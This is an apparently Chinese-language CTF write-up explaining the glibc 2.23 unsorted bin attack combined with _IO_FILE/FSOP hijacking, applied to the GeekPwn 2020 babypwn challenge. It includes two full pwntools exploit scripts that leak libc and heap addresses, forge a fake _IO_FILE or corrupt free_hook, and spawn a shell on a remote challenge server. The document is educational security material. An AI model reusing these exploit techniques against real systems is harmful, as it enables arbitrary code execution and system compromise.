Introduction
本方法基于 glibc 2.23,对于 ver > 2.23,本方法不适用。
该攻击方法通过修改 __IO_list_all
指针来改变系统的文件结构体,使得 main_arena
区域变为了伪造的文件结构体,然后再通过构造该结构体中的变量造成 memory corruption,使控制流跳转到我们事先布置好的函数里去。
unsorted bin attack
unsorted bin 是 small_chunk 被 free 掉之后首先掉入的 bin。 具体可以查看:glibc中bins的定义。
当 glibc 在进行 malloc 的时候,如果在相应的 small_bin 中无法找到符合大小要求的 chunk,它便会从 unsorted bin 中进行寻找,并且将其中所有不符合要求的 chunk,放入相应的 bin 中。 unsorted bin 相关源码
只需关注以下部分:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* place chunk in bin */
victim = unsorted_chunks (av)->bk
if (in_smallbin_range(size)) {
victim_index = smallbin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
[...]
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
程序先将不符合 size 要求的 chunk 从 unsorted bin 中取出,然后连接到相应的 bin 中(直接插入队头)
这里就会有一个问题,unsorted bin 在取出 chunk 时未校验 victim->bk
的正确性,使得 bck = victim->bk; bck->fd = unsorted_bin
。
如果把 victim->bk 修改为 &target-0x10 ,那么就可以将 target 指向 unsorted bin 了。
这个技术可以用于修改
global_max_fast
造成 fastbin_attack,详见 https://xz.aliyun.com/t/5082
__IO_file attack
Introcution
当我们进行 read(0, buf, size); 时,0 其实就是 stdin 的一种简写,stdin 在内存中实际上是以结构体的形式存在的。
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
结构体详见:https://mrh1s.top/archives/533#toc-head-2
glibc 中存在一个指针 __IO_list_all
,负责将 stdin、stdout、stderr 的结构体以链表的形式连接起来,我们又知道这些结构体中又有一个重要的指针 vtable
,如果将 __IO_list_all
指向可控的区域,那么只要啊程序触发 IO 相关的所有操作,我们就能因此劫持控制流。
system(/bin/sh)
我们可以通过篡改 vtable 进行控制流劫持,那么参数怎么构造呢?
当glibc检测到一些内存崩溃问题时,会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage one)。而这个过程中,程序会调用_IO_flush_all_lockp函数,并会使用_IO_list_all变量。
函数大致调用链
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
_IO_flush_all_lockp 源码:
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
而 _IO_flush_all_lock 这个函数有一些 check:
-
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base -
_IO_vtable_offset (fp) == 0(无法变动)
fp->_mode > 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
(技巧:_wide_data指向 fp-0x10 的地址,因为fp的read_end > read_ptr(可观察下文调试))
满足以上条件其中之一,程序就会调用 _IO_OVERFLOW (fp, EOF)
,而 fp 正是这个结构体的一部分,通过简单的构造,就可以让程序执行 _IO_OVERFLOW ('/bin/sh', EOF)。
tip
这里提供一个快捷构造 IO_file_plus 结构体的函数
def pack_file_64(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_mode = 0):
struct = p64(_flags) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, b"\x00")
struct += p64(_lock)
struct = struct.ljust(0xc0,b"\x00")
struct += p64(_mode)
struct = struct.ljust(0xd8, b"\x00")
return struct
both
前面介绍了两个攻击方式的原理,接下来我们看如何将两个技术进行结合。
如果我们使用 unsorted bin attack 修改 IO_list_all ,那么 IO_list_all 便会被改到 unsorted_bin 链表头的位置。
main_arena structure
可以看到,main_arena 以 fastbin、top chunk、unsorted bin、smallbin
的方式进行排列。
small bin of 0x60 size
查看 _IO_file_plus 结构,发现 _IO_chain
刚好在 +0x70 的位置。
unsorted_bin + 0x70 = small_bin(0x60)
由于 IO_file 在调用时会进行跳转,所以我们将 fake_IO_file 构造在 small_bin(0x60) 的位置便可以将控制流跳转到可控区域。
同时构造 fp = '/bin/sh',并 bypass check,且修改 vtable 的 __overflow 函数为 system_addr。
即可 getshell
geekpwn 2020 babypwn
本题提供了 add、show、delete 三个选项。
其中
- add 只能创建最大 0x40 的堆块
- delete 会清除指针
leak libc
因为 show 没有对 idx 进行 check,直接数组溢出即可
leak heap
由于读字符串的函数只读取 len-1 长度的字符串,所以通过 fastbin 的 fd 指针就可以泄露 heao_addr
unsorted bin attack
首先创建一个 0x20 的 fast_chunk,再创建一个 0x40 的 fast_chunk。
如果我们将 add 的 size 设置为 0,那么便会发生负数溢出,可以造成无限写。
unsigned __int64 __fastcall read_str(__int64 a1, int a2)
{
int v2; // eax
char buf; // [rsp+1Bh] [rbp-15h]
unsigned int v5; // [rsp+1Ch] [rbp-14h]
int v6; // [rsp+20h] [rbp-10h]
int v7; // [rsp+24h] [rbp-Ch]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
v5 = 0;
while ( 1 )
{
v6 = a2 - 1;
if ( a2 - 1 <= v5 )
break;
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
v2 = v5++;
v7 = v2;
*(_BYTE *)(v2 + a1) = buf;
}
return __readfsqword(0x28u) ^ v8;
}
利用这个漏洞,我们就可以伪造一个 small_chunk,使其 free 掉之后掉入 unsorted bin。
根据之前的分析,这个堆块还应该掉入 small_bin(0x60) 的位置,我们可以进行二次修改,重新改掉该 chunk_size,并且伪造好整个 __IO_file_plus,然后程序就会因为内存错误而进入我们事先安排好的 system("/bin/sh")中
exp
from pwn import *
import sys
context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]
elf_dir = './pwn'
libc_dir = './libc.so'
elf = ELF(elf_dir)
libc = ELF(libc_dir)
if(len(sys.argv) == 1):
p = process(elf_dir)
else:
p = remote('110.80.136.39',14546)
def pack_file_64(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_mode = 0):
struct = p64(_flags) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, b"\x00")
struct += p64(_lock)
struct = struct.ljust(0xc0,b"\x00")
struct += p64(_mode)
struct = struct.ljust(0xd8, b"\x00")
return struct
def add(size, name='x', des='x'):
p.sendlineafter('Input your choice:', '1')
p.sendlineafter('Member name:', name)
p.sendlineafter('Description size:', str(size))
p.sendlineafter('Description:', des)
def throw(idx):
p.sendlineafter('Input your choice:', '2')
p.sendlineafter('index:', str(idx))
def show(idx):
p.sendlineafter('Input your choice:', '3')
p.sendlineafter('index:', str(idx))
if(len(sys.argv) == 1):
#p = process('./pwn')
p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
else:
p = remote('110.80.136.34',14823)
show(-5)
p.recvuntil('The name:')
stdin = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = stdin - libc.symbols['stdin']
system_addr = libc_base + libc.symbols['system']
success('stdin:' + hex(stdin))
success('libc_base:' + hex(libc_base))
success('system:' + hex(system_addr))
# leak heap_addr
add(0x10)
add(0x10)
add(0x40)
add(0x40)
throw(1)
throw(0)
add(0, 'x', '')
show(0)
p.recvuntil('The Description:')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x20
success('heap_addr:' + hex(heap_addr))
add(0x10)
# put chunk 2 into unsorted bin
throw(0)
payload1 = 0x10*b'b' + p64(0) + p64(0x91) + 0x80*b'\x00' + p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)
add(0, 'x', payload1)
throw(1)
throw(0)
# fake io_file_jump
io_list_all = libc_base + libc.symbols['_IO_list_all']
success('_IO_list_all:'+hex(io_list_all))
fake_fd = 0
fake_bk = io_list_all-0x10
vtable = heap_addr + 0xe8 + 0x10
#vtable = heap_addr + 0xe0
payload2 = 0x10*b'b'
payload2 += pack_file_64(_flags = u64('/bin/sh\x00'),
_IO_read_ptr = 0x61,
_IO_read_end = fake_fd,
_IO_read_base = fake_bk,
_IO_write_base = 2,
_IO_write_ptr = 3)
payload2 += p64(vtable)
payload2 += p64(0)*3+p64(system_addr)
#payload2 += p64(system_addr)
add(0, 'x', payload2)
#gdb.attach(p, 'b *$rebase(0x105D)')
add(0x29)
p.interactive()
the other method
观察堆块的的地址,都是 0x56 开头。
我们又可以 malloc 0x50 大小的 chunk,稍微构造一下就可以直接对 main_arena 进行 fastbin_attack。
然后再将 fastbin(0x20) 的指针改为 free_hook 前某一个 0x20 的地址,就可以利用无限写改 free_hook 为 system ,从而 getshell 了。
from pwn import *
import sys
context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]
def add(name, size, des):
p.sendlineafter('Input your choice:', '1')
p.sendlineafter('Member name:', name)
p.sendlineafter('Description size:', str(size))
p.sendlineafter('Description:', des)
def throw(idx):
p.sendlineafter('Input your choice:', '2')
p.sendlineafter('index:', str(idx))
def show(idx):
p.sendlineafter('Input your choice:', '3')
p.sendlineafter('index:', str(idx))
if(len(sys.argv) == 1):
#p = process('./pwn')
p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
else:
p = remote('110.80.136.34',14823)
elf = ELF('./pwn')
libc = ELF('./libc.so')
show(-5)
p.recvuntil('The name:')
stdin = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = stdin - libc.symbols['stdin']
system_addr = libc_base + libc.symbols['system']
success('stdin:' + hex(stdin))
success('libc_base:' + hex(libc_base))
success('system:' + hex(system_addr))
fastbin_0x20 = libc_base + libc.symbols['__malloc_hook'] + 0x10 + 0x8
fastbin_0x40 = fastbin_0x20 + 0x10
add('0', 0x10, 'padding')
add('1', 0x40, 'padding')
add('2', 0x10, 'padding')
add('3', 0x10, 'padding')
add('4', 0x10, '/bin/sh')
throw(3)
throw(2)
throw(0)
throw(1)
add('0', 0, 0x10*b'a' + p64(0) + p64(0x51) + p64(fastbin_0x20+0x5-0x8))
add('1', 0x40, 'padding')
add('fake', 0x40, 0x3*b'b' + p64(0x21))
top_chunk = libc_base + libc.symbols['stdout'] + 0x8
add('2', 0, 0x10*b'a' + p64(0) + p64(0x21) + p64(fastbin_0x40-0x8))
add('3', 0x10, 'padding')
add('fake', 0, (0x78-0x40)*b'\x00' + p64(top_chunk))
#gdb.attach(p, 'b *$rebase(0x105D)')
add('fake', 0 , (0x7f552f7e07a8-0x7f552f7df720)*b'\x00' + p64(system_addr))
throw(4)
p.interactive()
references
https://blog.csdn.net/getsum/article/details/104448441
https://www.anquanke.com/post/id/168802#h2-8
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop-zh/
Comments | NOTHING